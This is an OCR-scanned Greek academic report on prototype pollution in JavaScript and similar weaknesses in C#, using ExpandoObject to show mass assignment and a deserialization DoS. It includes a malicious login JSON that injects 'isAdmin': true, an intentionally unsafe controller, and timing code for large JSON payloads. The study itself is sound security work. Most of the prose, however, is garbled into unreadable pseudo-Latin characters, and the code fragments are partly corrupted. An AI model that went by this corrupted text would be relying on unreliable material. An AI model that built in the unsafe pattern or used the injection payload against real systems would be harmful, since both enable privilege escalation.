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1. Eloaywyn

H aodpdalela AoylopikoU anoteAel Baotkd KOUUATL TNG KUBEpvoaodaletlag, kaBwg peyaio
HEPOG TWV ONUEPLVWYV ETIOECEWV EKPETAANEVETOL KEVA TTIOU KpUBovTaL oTov 810 Tov Kwdika
f otTLg BLBALOOAKECG TOU AUTOC XpNOLUOTIOLEL. Eva XapaKTNPLOTIKO MapAdELyLa TETOLOU
eldoug eunabelag eival to Prototype Pollution, To omolo €xel cuvdeBel kupilwG e TN
JavaScript. Agv mpOKeLTaL OUWG YLa €Va LEUOVWUEVO davopevo. AvtiBeta, Selyvel e
oapVELA TIWE O TPOTIOC TTOU OXESLATETAL KOl AELTOUPYEL Lo YAWooo UIMOPEL va avoiget Tov
O6popo oe vVEEG LopdEC EKPETANAEUONG.

H peAétn tou prototype pollution avédelée OTL pnxovIoHOL TTOU €XOUV OKOTIO VOl TIPOohEPOUV
gueliéia kat Suvaplkn cupnepldopa, UTOPOUV, KATW ard OPLOUEVEG CUVONKEG, va
aglomotnBouv Kal pe kakoBoulo Tpormo. H Suvatotnta elcaywyng i Tpomonoinong
properties o€ objects emtpEnel Tnv aAAolwaon TG KAVOVIKAG PONG KLaG epapUoync, UE
OUVETIELEC TIOU UIOPEL va elval amo amAn naparmnoinon dedopévwy PéxpL privilege escalation
N KON KoL AMOMOKPUGUEVN ekTEAEOn kwdka (Remote Code Execution). Etal, yivetal
davepd OO0 O0TEVA CUVOEETAL N AELTOUPYLKOTNTA TTOU TIAPEXEL LA YAWOOO UE TLG
ETUMTWOELG TNG OTNV 0L0PAAELQL.

H avaAuon Tétolwv Kevwy €xel Wolaitepn afia, kabwg pag delyvel mwG XAPAKTNPLOTLKA TTOU
O€ TPWTN avAyvwaon Holdlouv XproLua, UImopouyV va HETATpamolV o Gpopeis kivduvou. H
TeplmTwon tng JavaScript yevva Kal To EpwTnpa Katd téco avaloya potifa epdavidovral
o€ AAAeG YAwooeG. 2To MAaiolo auto, Eexwploto evdladEpov mapouaotalel n CH, n onola
SlaB€tel evieAdwg SLadopeTIKO LOVTEAO KANPOVOULKOTNTAC KoL AUOTNPOTEPN TUTTOTOLNON,
oAAG €xeL Kal SIKA TNG oTolxela tou Ba pmopouoay, BewpnTikd, va odnyroouv oe
avtiotolyec popdeg aAoilwaong. H mapoloa epyacio e0TIAleL AKPLPWG OE AUTEC TIC
pollution-like cupnepidpopég otn C#, mpoomabwvtag va avadeifel TOOO T OUOLOTNTEG OCO
Kal TLg SLadopéEg Toug oe oxéon e To prototype pollution tng JavaScript.



2. Prototype kal prototype pollution otnv Javascript

2.1. Tuelvalto Prototype otnv JavaScript

H JavaScript Baoiletal o prototype-based inheritance avti tng mapadootakng
KANPOVOULKOTNTOG LECW KAACEWVY, OTIWC CUVAVTATAL O YAWOOECG oav TLG Java Kol CH#.

Z€ QUTH TNV APXLTEKTOVLKN, KAOE object Slabétel Evav ecwteplkd cUVEECTHO PO Eva GANO
object, yvwoto wg prototype, amnd to onoio punopel va kAnpovouel properties kat methods.
H KANPOVOULKOTNTA QUTH TIPOYHOTOTIOLETAL SUVOLKA KOTA TNV EKTEAECT), YEYOVOG TTOU
npoodidel evehi&ia ala kat SuvntikoUg Kivduvoug aodaAeiac. [1], [2]

2.2. H boun tou Object.prototype

KaBe object atnv Javascript eivat pia cuAoyn ano {evyn ano key:value. Ztnv kopudn Tng
aAvcidag kAnpovoukotntag Bpioketal to Object.prototype.

KaBe véo object mou dnuoupyeitat otnv JavaScript €xel ecwteplkn avadopad oe Eva
prototype, To onoio pnopei va givat to Object.prototype 1 éva aAAo object. [1], [3]

To Object.prototype nepthapBavel Bacikég pebodoug OMwe:

e toString()
¢ hasOwnProperty()
e valueOf()

(] KATT

2.2.1. H évvola tou __proto__

To property evog object mou Aettoupyel wg Seiktng mpog to prototype autou, Sev Aéyetal
prototype kat 6&v UTIAPXEL KATIOLO CUYKEKPLUEVO OVopa, aAAd cuvABwe Aéyetal _ proto_
0TOUG TIEPLOCOTEPOUG browsers.

Av kal orjpuepa Bewpeital legacy kat mpoteivetal n xprion Twv Object.getPrototypeOf() kat
Object.setPrototypeOf(), n __proto__ mapapével AelToupyLkr) yio AOyoug cupatotntag Kot
ouyva xpnowuomnoleital oe exploits. [3], [4]



2.2.2. Prototype Chain

H prototype chain amoteAel Tov pnxaviopd KAnpovoukotntag tng JavaScript, Héow tou
omolou €va object anoktd npocBacn oe properties kat methods mou dev opilovtal dpeca
o€ aUTO, aAAd og objects —prototypes (prototypes). [3], [4]

Katd tnv avalntnon uiog propertyg:
1. EA€yxetal av to property undpxel oto iblo To object.
2. Av dev umapyxel, n avalntnon cuvexiletal oto prototype tou.

3. H dwadkaoia ouveyiletal otnv prototype chain £éwg 6tou n property Bpebei o
prototype va givat null.

4. Av bev tn Bpel oUte £Kel, TOTE emoTpEdel undefined.

Object.prototype

is prototype of

String.prototype Array.prototype Number.prototype

is prototype of

—— e o e e

is prototype of is prototype of

¥ ¥ ¥
username [ itemsInCart ] remainingStock

Ewova 1: Prototype Chain

2.2.3. AA\oiwon tn¢ prototype chain

H tpomomnoinon evég prototype og unAo emninedo, 6nwg to Object.prototype, emnpedlel
OAa ta objects mou kKAnpovopouv amnoé auto.

AUt n SuvatotnTa, av Kol XPr Ol OE OPLOMEVEG TIEPUTTWOELG, ATTOTEAEL TNV TEXVLIKN BAon
¢ euntaBelag Prototype Pollution.




MNa nopadetypa, mAéov n JavaScript £xet tnv trim() method yia ta strings, aAAd o€
TaALOTEPEG EKOOOELG TTOU S€V UTIIPXE, OL TIPOYPAUUATIOTEG UImopoUaay va SnULoupyrnoouv
pio custom method aneuBeiag mavw oto String.prototype, KAvovTag KATL ooV

1. String.prototype.removeWhiteSpaces = function() {
2 //custom implemenatation

3.}
4

Kat e€attiag tou prototype-based inheritance, 0Aa ta strings 6a eiyav npéofacn og autn Tn
uébodbdo.

1. let userInput = test “5
2. userInput.removeWhiteSpaces();
3.

2.3. Tueivalto Prototype Pollution

H eunaBela Prototype Pollution opiZetal wg n pn e§ouclodotnpévn Tpomonoinon tng
prototype chain, pe okomo tnv eloaywyn n aAAayr properties mou Ba emnpedoouv OAa Ta
objects mou kAnpovopouv amo To TPOMOoMoLNUEVO prototype.

H tpomormnoinon auth unopel va 06nynoeL oe avemlBuunteg cuuneplPopEg, EKPETANAEUDN
™G ebappoyng kat coBapeg emumtwoelg acdaleiag. [5], [6]

Av kal to Prototype Pollution ocuxva 6ev pumopei va ekpetaAAeuTel WG piot autdvopun
€UTAOeLQ, ETUTPETEL O€ €vayv eTUTIOEUEVO va eAEYEEL properties amo objects ou
Slapopetika Ba Atav pn mpooBactuec. Av n epapuoyn oTn CUVEXELD XELPLOTEL Eva property
eAeyXOUEVO Ao TOV EMITIOEUEVO UE LN aodaAr) TPOTO, AUTO Umopel SuvnTika va
ouvbuaoTtel pe aAeg euntdBelec. 2tnv client-side JavaScript, auto odnyel cuviBwg oe DOM
XSS, evw 1o server-side prototype pollution pmopet akopn kot va odnyrnoet o
OQTTOOLKPUOEVN EKTEAED KWOLKAL.

2.4. Tlwc npokurtel to Prototype Pollution

Prototype pollution cuvriBwg mpokumtel étav pla cuvaptnon JavaScript Aappavetl dedopéva
TIOU ELCNYAYE O XPROTNG KaL TO TIEPVAEL AVASPOULKA O€ €va UTtapxov object, xwpic va ta
EXEL DLATPApPEL KOl EAEYEEL TNV EYKUPOTNTA TOUG TPWTA. AUTO UIMOPEL va eTtpEPEL OE Evav
eTUTLOE LEVO va ELOAYEL €va property pe eva key Omwg to __proto_, padi pe avBaipeteg
EUPWAEVEVEC properties.




AOyw tNG el8IKAG onuaciag tou _ proto_ otnv JavaScript, Ta mapanavw properties pumopet
va pTacouv HEXPL To prototype tou object avti yia to 1810. Q¢ anotéAeopa, 0 EMITIOEUEVOC
Umopel va LoAUVEL To prototype pe properties ou mepléxouv emiBAaBeiG TILEC, OL OTOLEC
UTOPEL OTN OUVEXELQ VO XpNOLomoLnBouv anod tnv epapuoyr HE EMKIVOUVO TPOTO.

Elvat Suvato va poAuvBel omolodnmote prototype object, aAAd autd cupPaivel o cuxva
HE To evowpatwuévo global Object.prototype.

MNa va yivel emtuxnuéva éva Prototype Pollution mpoinoBeon sival ta €€nc: [6]

e Muwa ninyn prototype pollution: Auto eivat ormtolodnmote input MOV EMITPENEL OTOV
Xpnotn va HoAUVEL prototype objects pe auBaipeta properties.
e ‘Eva sink: Sink gival kdBe Aettoupyia 1 DOM element mou pmopel va ekteAéoel
Kw&LKa Kal To omolo pmopei va eAeyxbel péow prototype pollution.
MNapadetypa: DOM XSS, ektéleon system commands otov server, KATL.
e ‘Eva ekpetaAAevoipo gadget: Eva gadget eival o cuvOETIKOC KPLKOG, TTOU ETUTPETEL
va petatparei n eunabela os exploit. Elval éva property mou:
O Xpnolpormoleital e un achoAn Tpomo anod tnv epappoyn (.. TEPVIETAL O
sink xwplg €Aeyxo)
o Mmopel va kAnpovounBel amno tov entiBépevo péow prototype pollution
Av to property €xeL oplotel amneuBeiag oto object, TOTe UTIEPLOXVEL KAl SV pmopetl
va ekpetaAleutel. Kamoleg epappoyég opilouv paiiota Object.setPrototypeOf(obj,
null) wote va unv umapxeL KAnPOVOULKOTNTA.

2.4.1. Mnyé&c Prototype Pollution

OL 1o ouvnBLopEveg tnyEC LOAUVONG lval:

e URL (query string nj fragment/hash)
O emutiBépevog punopel va mepdoel kakdBouAa keys 6mwe __proto_ o€ query
TIAPAUETPOUG 1 oTo hash, Ta onola av cuyxwveuBolv os objects mpokalouv
prototype pollution.

e JSON Input
Otav n edpappoyn S€xetat JSSON amo tov XprioTh KoL To LETATPENEL 0€ object xwplg
€Aeyxo, unopel va mepthappavel __proto_ r mapopola keys mou poAuvouv to
prototype.

e Web Messages
Ta postMessage events pumopouv va petadépouv objects pe kakoBoula keys, Ta
orola av yivouv merge xwpig sanitization odnyouv oe pollution.

e Koako sanitization eLco6ou



H éAewbn dktpapiopartog r} whitelist ota keys Twv objects emnttpénel og emikivbuva
keys va mepdoouv avefEleykra.

e BiAoOnkeg
Tpiteg BLBAL0OnKeC (m.x. lodash, jQuery plugins) tou kavouv deep merge objects
Xwpl¢ owotoUg eAEyxouc Umopel va avoiouv keva yla prototype pollution.

2.5. Emumtwoelc kat EkpetaAeuvon

Privilege Escalation

Elcaywyn properties 6nwg isAdmin pmopet va avoiéel oAokANpeg 060U¢ mapaBiaong
aodalelag otav Bacilovtal oe conditional checks.

Denial of Service

KakoBouleg Tpomomnolnoelg o€ BaolkEG peBodoug Omwe toString() umopouv va avaykaoouv
anelpeg Bpoxouc n exceptions, mpokaAwvtog DoS.

Arbitrary Code Execution

Y€ MEPUTTWOELC OTOU N edapuoyn poptwvel modules i ekteAel SuvapLKA EVTOAEG
Baolopéveg oe object properties, o eMTIOEUEVOC Umopel va odnyroeL 0€ EKTEAEDN
KakoBouAou KwdLKa.



3. Prototype Pollution oe .NET / C#

Y€ avtiBeon pe tnv JavaScript, n C# 6 Baoiletal os prototype oriented inheritance. To
HOVTEAO avTiKELUEVOOTPEDELaG oTtnpiletal os class-based inheritance, pue otatika
kaBoplopévn Soun TUTIWV Katd To compile-time. Q¢ anotéAeopa, Sev uUTAPXEL prototype
chain to omnoio pmopei va aAAowwBel Suvaplkad Katd tnv eKTEAEon, 0w cupPaivel otnv
JavaScript pe tnv mpooBnkn properties oto Object.prototype.

Enopévwg, dev umopet va undpéel kabapo prototype pollution otn C# pe v idla popdn kat
HUNXaVvIopo Onw¢ otn JavaScript. Onoladnmote eniBeon mMou eMIXELPEL va ELCAYEL 1) val
TpomomnoloeL properties o€ global prototypes 6ev €xel epappoyn oto .NET meptBaAlov.

Qot0600, AUTO deV onUaivel OTL ATOKAELETAL N EUPAVION TIAPOUOLWY KOTNYOPLWV ETIOECEWY,
OTOU VO ETUTIOEUEVOC UIMOPEL VA aAAOLWOEL TNV KaTAoTtaon amno objects f va LOAYEL Un
QVaUEVOUEVA properties HECW UNXAVIOUWY OTIWG:

e dynamic kat ExpandoObject
e Reflection

o Deserialization

e Unsafe code

AUTEG oL TEXVLIKEG eV amoteAoUV prototype pollution pe tn KAaoowkn évvola, aAAAQ Umopouv
va BewpnBouv mapopoleg eunabelec, adol odnyouv og aAloiwaon ¢ Soung N TG
OUUIEPLPOPAC TOU TIPOYPAUHUATOC TIEPA ATIO TA AVAUEVOUEVA Opla. EmmAéov, cuviBwg be
yivetal va umtdpéel poviun poAuvon, onwg yivetat otnv JavaScript, aAAd n poAuvon sivat
napodikni kat Slapkel 600 n TpExouoa ektéAeon. Moviun poAuvon pnopel va umtdpéetl povo
oto mAaiolo anobrkeuong Sedopévwy otn Bacn, mou StadEpel OUWE Ao TN LOVLUN aAAayn
€VOG object. Onote otnv napovoa epyacia Oa §o6sl éudacn oe euMABELEG KL KAKEG
TIPAKTLKEG TIOU €(TE AT HLOVES TOUG €ite o€ cUVOUAOUO e AAAOUG TTAPAYOVTEG, UTTOPEL va
obnynoouv os cuunepldpopéC MapOUOLES LE TO prototype pollution. Oa avaAuBouv
TIEPUTTWOELC, OTLC OTOleG UoTepa amo kakoBouAa dedopéva eloddou amod Tov xprotn,
napouctalovtal TEtolou €idoug cuumepLdopEd. To BACLKO KOLVO XOPAKTNPLOTIKO Ba ival otL
TipoKaAeitaL KatL mapopoto pe Pollution, Uotepa amo eicodo pn Eykupwv Sedopévwy oTo
£KAOTOTE OUOTNUOA.



3.1. ExpandoObject

3.1.1. Oplopuog

To ExpandoObject amoteAel pia anod TL¢ Mo XoPAKTNPLOTIKEG UAOTIOLROEL SUVOLKNAG
oupnepldopdg oto okooloTNpa TNG CH. Napéxetal péow Tou namespace System.Dynamic
KOLL ETUTPETIEL TNV TIPOCON KN, Slaypadn Kal avayvwaon Twv properties oe XpOvo eKTEAEONG
(runtime), katd mapdpoLo TPOTO UE Ta objects tn¢ JavaScript. [7]

H xprion Tou cuvavtatal Kupiwg:
e OE TEPUTTWOELG OTIOU To schema twv dedopévwy dev elval yvwoTo K TWV TPOTEPWY,
e Katd TNV arnootoAn N Anyn JSON objects amno APls,
e ot integration pe BBAL0ORKeg Omwg To Newtonsoft.Json 1} System.Text.Json,
e 1 og oevdpla scripting kat dynamic DSLs péoa os epappoyeg CH.

H duvatotnta tou ExpandoObject va tpomomnoLeital Katd TNV EKTEAECN TPOTPEPEL HEYAAN
gveli€ia, aAAd Tautoxpova eL0AYEL KLVOUVOUG 0lodAAELAC OTOV XPNOLUOTIOLELTOL XWPIC
KataAAnAo €Aeyyo. Evag and autolg eival n eLoaywyn KN OVapeVOUEVWY properties anod
€€wTePLKO input, n omola pmopel va odnynoetL oe cupnepldpopd mapopoLa Le Tnv enibeon
Prototype Pollution atn JavaScript.

3.1.2. Auvoaulikn Zuumneptdopad

To ExpandoObject ulomolei ta interfaces IDynamicMetaObjectProvider ka
IDictionary<string, object>, emutpénovtag otov developer va [7]:

e TPoOoBEcEeL properties SuvapLKa:

1. obj.SomeProperty = value;
2.

omou to SomeProperty eival pia property mou §gv UTIAPYXEL KAVOVLIKA OTO object,
oAAG tpooTiBeTal ekelvn TN OTYUNA

e eAéy€eL av éva property untapyet: ((IDictionary<string, object>)obj).ContainsKey(...)
e emnegepyaotel 1o object oav Dictionary key-value

Katd ouvenela, n doun tou Sev eivat otatikn kot onoloodimnote €xeL mpdofaocn oto object

UTTOPEL VAL TO EMEKTEIVEL I VAL TO LETAOXNOTIOEL.



3.1.3. MoAuvon

To ExpandoObject mpoodépel eukoAia katl eveAi&ia oto XelpLopd Suvapkwy dedouévwy,
oAAQ eVEXEL Kal TTOAAOUG KivdUvoug. Omwg Kat oto prototype pollution, to mpoAnua dev
elvat to (610 to ExpandoObject, aAAd o TpoTOG Xpriong tou. Evag Kakog oxedlaouog, unopet
va erutpéPeL TN €l0080 KaKOBOUAWVY SE60UEVWV OTO CUCTNUA, TOL OTIOLA LE TN OELPA TOUG
elvatl avta mou Ba dnuiloupyrnoouv To payUatikd TpoPANUa. H Kok xprion Toug Umopei va
nipokaA€oel SladopeTIknG GUONG ETUTTWOELS KoL TIAPAKATW Ba TapoucLacTouy Kal Ba
avaAuBouv duo ano ta mbava npoBAnpata, mou adopouv mass assignment [8], [9] kat
DoS. Kat ota 800 oevapla n kakn xprion tou ExpandoObject ivat to mpoBAnua Kat Ta mass
assignment kat DoS eival to cUuMTWHA. 2Ttn B€on Toug Ba wmopovoav va uUIAPXoUV
SL0POPETIKEC EMUMTWOELG, TTOU eV avaAvovtal evoeAexwg edw.

3.1.3.1. Mass Assignment

210 TOPAKATW MapASELYUA, TTapouoLaleTal Eva oevaplo Omou o controller S€xetal Suvapiko
input (ExpandoObject), To omoio mpowBeital otnv unnpecia UserService, n omoia ekteAel
TNV niotonoinon (validation) kat emiotpédel éva object emiong tumou User.

To odpaApa mpokUTteL oto emninedo tou controller, mou avti va eMOTPEPEL TOV user ou
enaAnBevoe kal eméotpeav To repository Kol To service, ETUOTPEDEL TO APXLKO
ExpandoObject, pe omola mapamnavw amnod ta avapevopeva nedia pmopet va mepléxet. O
TPOPANUATIKOG KwLkaG Ba pmopoUoe va ival o€ omolodrmote ano ta aAa Suo enineda
(service, repository) pe mapopola anoteAéopata, aAAd emAéxBnke o controller wote va
Hmopouv va urtdpyxouv duo endpoints, To éva pe acdalr pebodoloyia kat To GAAo OxL.

t("badlogin")]

- Task<IActionResult> ExpandObjectPollution_Unsafe([FromBody] Expaz ect user)

ar loggedUser = await _userService.lLoginWithExpandoObject(user);
if (!loggedUser.IsSuccess)
¥

L
return BadRequest(loggedUser.Error);
H

return Ok(user);

Figure 2:Controller — Unsafe login



<IActionResult> ExpandObjectPollution_Safe([F

loggedUser = t _userService.LoginWithExpandoObject(user);|
if (!loggedUser.IsSuccess)

{

return BadRequest(loggedUser.Error);
]_

return Ok(loggedUser.Value);

Figure 3: Controller — Safe login

MNapadelypa kakoBoulou input:

1. {

2. "username": "johndoe",
3. "password": "12345",
4. "isAdmin": true

5.}

6.

awalt usezﬂepusltury Luqm _WithExpandoObject{username, password)
lesult= ExpandoObjectPollution.Models.User= }

lc-lt‘“l .d'-'ﬂ ‘IF-#P_ 4'-13 8 Mu ahh 20dddbs
£ [sAdmin falze
& Password (s 15 "12345"
£ Role 1= "User"
A Username = "jehnd

Figure 4: AnotéAeoua Repository

"usexna

! p-:a ssword”

Admin®

Figure 5: AmotéAeoua and unsafe endpoint



"displayNam

"isAdmin® :

Figure 6: AmotéAeoua ano safe endpoint

Itnv nepimtwon ¢ un aodpaloug uAomoinong, To mopandavw input Ba MEPACEL KAVOVIKA
amo to Service, 6mou Ba yivel To validation kat Ba P atel oto repository, To omnoio Oa
emotpeP el éva response pe isAdmin = false, To onoio 6pwg, oto eninedo tou Controller 6a
ayvonBel mAnpwg kat Ba emotpadei To apyko ExpandoObject mou elorfyaye o kakoBouAog

Xpnotng.

To Baowko mpoPAnua pe to ExpandoObject mpokUTTeL 6tav aUTO XPNOLUOTOLELTAL YLa TN
Slaxeiplon eloddou amod tov xpriotn kat ta dedopéva tou powbBouvTal oE services f
repositories xwpig mponyouuevo €leyxo kal dAtpaplopa. Eneldn 1o ExpandoObject
Aewtoupyel oav éva dictionary tumou key-value oto omoio punopoUv va pooteBouv
omoladnmnote properties, o emTIOEUEVOG Unopel va eLodyeL properties mou Sev MEPLUEVEL N

ebappoyn.

Ye éva ogvaplo authentication, yla mapdadelypa, To service UMopel va MEPLUEVEL LOVO
username kot password. Av OpwG To input ePLEXEL Kal TNV property isAdmin, autn Ba
amoBnkeutel kavovika oto ExpandoObject kal Ba cuveyioel va uTtdpyel oto object kaB’ 6An
™ pon ¢ edpappoync. Eav otn cuvéxela n edpapuoyn emotpéPel To apxiko ExpandoObject
avti yla éva kawvoupylo validated object, n kakdBouAn property Ba mapapeivel evepyn. Etol
Snuoupyeital pla popdn “noAuvong” mou dev eival prototype pollution pe tnv KAaotkn
€vvola, 0ANG €xeL TapoOpoLo amoTéAeopa: To object pépel state mou o mpoypappaTIOTHC SV
elxe mpoPAEPeL.

H noAuvon autn pmopel va ekpetaAAeutel Stadopa onpeia tne ebappoync:

e Authorization logic: properties 6nwc¢ isAdmin, role rj permissions pmopouv va
TIAPATIOL|COUV KPLoLUEG amodAceLg EAEyxou pooBaong.

e Business logic manipulation: o emtiBepevog pnopei va elodyel properties mou
ennpealouyv tn por Twv services (.. discount = 100%).



o Data persistence: edv 1o ExpandoObject amoBnkeutel ansuBeiag o Baon
Sebopévwy ) petatparnet o JSON yla amootoAr) o AAAo service, Ta KakoOBouAa
properties Ba cuvexioouv va UTTAPXOUV KOL VA LLOAUVOUV TO LETETELTA CUCTI LATA.

e Chained attacks: os o nepimloka oevapla, o EMTIOEUEVOC UMOPEL va cUVOUAOEL
NV eloaywyn KakoBouAwv properties pe GAAQ TpwTA onueia (m.y. aduvauo
serialization, reflection abuse), woTe va MPOKAAETEL AKOWN TILO ETUKIVOUVN
ocuunepldpopa.

Ztnv npaén, n ExpandoObject péAuvon amoteAel mapadelypa tou 6tL to dynamic input mou
bev eAéyyetal punopel va 06nynoel oe state injection. H euntaBela ev poAuvel global
prototypes, aAAG HeTaSIOeL aveEEleyKkTa properties péoa otn por TG edappoyng,
SnNUoLPYWVTAC VOV TOTILKO OAAG onpavTKOTato Kivduvo. Auth eival pia mepimtwon mou
obnyet oe EekaBapo mass assignment [8], [9] (1} autobinding énwg gival ro yvwoto os .NET
neplBarlovra).

3.1.3.2. DoS

Y€ aUTO TO OevApLlo BewpnTIKA UTIAPXEL TIAAL €va endpoint mou déxetal ExpandoObject wg
€loo60. To mpoPAnua o auth TNV epimtwon 6a MapouoLAOTEL KATA TO QUTOLATO
deserialization Tou json tou HTTP request katd tn oty ou ¢tavel oto endpoint. Me to
va entpénovrat Suvapika dedopéva elcddou, Sev UTIAPXEL KAVEVOG TIEPLOPLOPOC OTO £160¢
1l OTOV OYKO QUTWV TwV dedopévwy. Eva tétolo endpoint pmopel va GTLaXTNKE PE YVWHOVA
otL Ba déxetal éva Suvauikd model, To omoio Ba aviiotowlotel og pia Alota and mbava db
models. Timota 0w Sev amayopeVEL O€ KATIOLOV ETUTIOELEVO VO TO EKPETAAAEUTEL UTO KaL
va oteilel oykwdn json ou Ba XpeLaoTOUV TapaAvVwW wea yla auTo To deserialization. Av
oTaAoUV pallkd TToAAG TETola oyKwoN json TOTe Unopel oAU eUkoAa va e€avtAnBouv 6Aol ot
SlaBéopoL mopol kat va urtdpéet DoS. MNa va davel kaAUTepa auTh N MepiMTwon MPEMEL va
yivel kataypadr twv xpovwv katd to deserialization, aAAd auto dev pmopel va yivel eUkoAa
o€ €va mpaypatiko endpoint, omote avti autol, otiBnke éva Console Application to omoio
naipvel 3 dtadopetikd json apxeia (2KB, 20MB, 40MB) kal kataypAadeL AUTOUG TOUG
XPOVOUG.

using System.Diagnostics;
using System.Dynamic;

var stopwatch = new Stopwatch();

// Measure deserialization time for small JSON file

string filePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "json", "small.json");
var json = File.ReadAllText(filePath);

stopwatch.Start();

var expando = System.Text.Json.JsonSerializer.Deserialize<ExpandoObject>(json);

var stopwatchElapsed = stopwatch.ElapsedMilliseconds;

P OUOVWONOOTUTESE WN R
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12. Console.WriteLine($"Small file deserialization completed in {stopwatchElapsed} ms
({TimeSpan.FromMilliseconds(stopwatchElapsed).TotalSeconds} s).");

13.

14. // Measure deserialization time for medium JSON file

15. filePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "json", "medium.json");
16. json = File.ReadAllText(filePath);

17. stopwatch.Restart();

18. expando = System.Text.Json.JsonSerializer.Deserialize<ExpandoObject>(json);

19. stopwatchElapsed = stopwatch.ElapsedMilliseconds;

20. Console.WriteLine($"Medium file deserialization completed in {stopwatchElapsed} ms
({TimeSpan.FromMilliseconds(stopwatchElapsed).TotalSeconds} s).");

21.

22. // Measure deserialization time for large JSON file

23. filePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "json", "large.json");
24. json = File.ReadAllText(filePath);

25. stopwatch.Restart();

26. expando = System.Text.Json.JsonSerializer.Deserialize<ExpandoObject>(json);

27. stopwatchElapsed = stopwatch.ElapsedMilliseconds;

28. Console.WritelLine($"Large file deserialization completed in {stopwatchElapsed} ms
({TimeSpan.FromMilliseconds(stopwatchElapsed).TotalSeconds} s).");

29.

Mapakdtw mapouactalovial oL XpOvol EKTEAEONG.

Microsoft Visual Studio Debu; X +

Small file deserialization completed in 46 ms (0,046 s).

Medium file deserialization completed in 3457 ms (3,457 s).
Large file deserialization completed in 18378 ms (18,378 s).

Figure 7: Xpovot ektéAeanc Deserialization

Onwg daivetat ol xpovol eival atodnta Stadopetikol avaldywg To peyebog tou apyeiou. 2
nepimtwon mou AndBOel €éva povo TETOLo json o Xpovog enefepyaciag eival LeyAaAog Uev,
OoAAG otnVv MPAgn Kal oTnV payUatikn pon ektéleonc & Oa avtiAndBet kamolog dtadopa.
Av OuWC YiveEL Hallkr) amtooToAn, TOTE AVOAOYWE KoL TWV UTTIOSOUWYV TOU KABE GUOTAUATOG,
UTTAPXEL TIOAAR HeYAAN TIBAVOTNTO TO CUCTNHA VO KATAPPEVOEL. € £Va TETOLO OEVAPLO TO
PpOPAnua ivat Wdlaitepa coPfapo kabwg dev dptdavel kav oto oTddLlo ou EEKIVAEL N
ETUXELPNOLAKNA AOYIK).




3.1.3.3. Zuvoyn kat AtadopEC TWV LNXAVIOUWV

Onwcg daivetay, Ta dVo oevapla €xouv kowvn adetnpia ta dynamic Sedopéva elcodou
(ExpandoObject) aAAd kataAryouv o€ SU0 TIOAU SLadOPETIKES EMUMTWOELG, AVAAOYA LE TO
oxXNHa Twv SedoPEVWV Kal To TPOoPANUATIKO onuelo Tou pipeline katd To omoio
enefepyalovral.

Awadopég Twv U0 UNXAVIoHWV:

Mass Assignment Unyoviouoc:

- Eiloodoc: JSON omou 1o Kkpiolpo otolxeio eival n mapouacia cuykekpLUEVWY keys TuLY.
Username, Password, ISAdmin Tou avtiotolyouv o€ Kamolo model Tou cuoTHUATOC
- MpoPAnuatikd onueio oto pipeline: Itn CUYKEKPLUEVN TEPIMTWON TO TPOPANUA
TIPOUCLACTNKE KATA TN AavBacuévn emtotpodr) tou idlou object, aAAa Ba
UMopoUoE va eUPaVIOTEL 0 TTIOAAA SLOPOPETIKA oNUELD TOU pnXaviopoU. AN
Tétola bava onueia Ba propovoav va eivat:
o namnodnkeuon twv dedopévwy eLo0dou xwpig €Aeyxo otn Bdaon
O To mapping amnod to HoviEAo £.0060ou oTo domain povtéAo
o n kAnon Non-public setters
o K.O.
Apkel amAd pia kakoBouln eloodog yla va mpokaAéoel mpoBAnpata, Kabwg n
OUVKEKPLUEVN ETOE0ON €lval APKETA OTOXEVHEVN KL TIPOUTIOBETEL yVWaon TwV
domain models.
- AmnotéAeopa: MpokaAeital state injection, SnAadn kamoia edia aAAdlouv Kal auto
unopet va mopakdapel eAéyxoug e€ouolodotnonG r va TPoKaAEoel anpOPAETTEC
OUVETIELEC OTNV ETIXELPNOLAKH AOYLKN.

DoS unyaviouoc:

- Eloodoc: NoAu peyaio JSON adiadopou oxnuatoc r moAu Badld epdwAevpévo
object.

- MpoPAnuatiké onueio oto pipeline: e autn tnv mepimtwon to MpoBAnua
TapoucLAaleTal KaTA TNV (0080 Kal Tov apxLkd parser mou avaAappavel va
uetatpePet to JSON oto model Tou endpoint, mpv Kav MPoAdBeL va TpEEeL N
omoladnmote enxelpnotakn Aoyikr. To i6to to JSON pmopetl va eivatl Sopikd cwoto
KOLL VOL LNV TEEPLEXEL KATL UTTOTTTO. OTtoTE SV OpKel povo éva JSON, Ba mpémet va
UTIAPEOUV HOKEG ATTOOTOAEC NVULLATWY KAl LOVO TOTE Ba MOPOUCLOOTEL TO
npoPAnua. H Stadopd pe dAAeg DoS emiBéoelg eival OtL emtpénovtag dynamic
eloodo xwpig €Aeyxo kol mepLOPLOUOUG, SiveTal oTov KAKOBOUAO XprioTn €VOG OKOUN
Tpomoc eloBoAng mou Baciletal kabapd otov TPOTo UAomoilnonc.



- AnotéAeopa: YPnAn katavalwon twv mopwv (CPU, thread starvation k.a.) Tou
CUOTNHATOG LEXPL TOU onpEelou TToU KAVEL TNV uTinpecia pn dtabéoun.

Mass Assignment DoS

Elcobog JSON rou avrtiotolyel o AdLadopo to oxrua Tou
unapktd model pe ouykekpiuéva | JSON, aAAQ pE TEPAOTLO
keys OyKO

Trigger point Omnolodnmnote onueio TnG Katd to apxLko parsing tTwv
edappoyng omou dedopévwy elcodou

TIPOY LATOTIOLE(TAL ETILXELPNOLAKN
AOYLK TIAVW OTA CUYKEKPLUEVAL

keys
Enintwon Privilege escalation E€avtAnon nopwv
Kpioweg mpolimoBéoelg » 'EAAewn eAéyxou Kot » Anouocia
whitelist TIEPLOPLOLOU
» Emotpodn n HEYEBOUG
arnoBrkeuon Tou apxLKoU » Serializer xwpig 6pLa
object » Requests moAAaMAWV
TETOLWV ELCOSWV
Evéei€elg poAuvong AmpoPAeTTEG CUUTEPLDOPES Auv&nuéveg kaBuotepnoelg n
OTNV ETUXELPNOLAKI AOYIKN un StabeopotTnTa tng
UTINpPEoiag

3.1.4. Opowotntec/Aladopéc pe Prototype Pollution

3.1.4.1. Opolotnteg

To ExpandoObject mapouctdlel pa XapaKkTnpLoTLKr) OMOoLOTNTA HE TO prototype pollution,
KaBw¢ eMITpEMEL TNV TPOOO KN properties o€ objects KATA TO runtime YwpLig MEPLOPLOUOUC.
H Sduvatotnta auth Hipeital tnv eveAi&ia tng JavaScript, 6mou €va amAd JSON key pumopei va
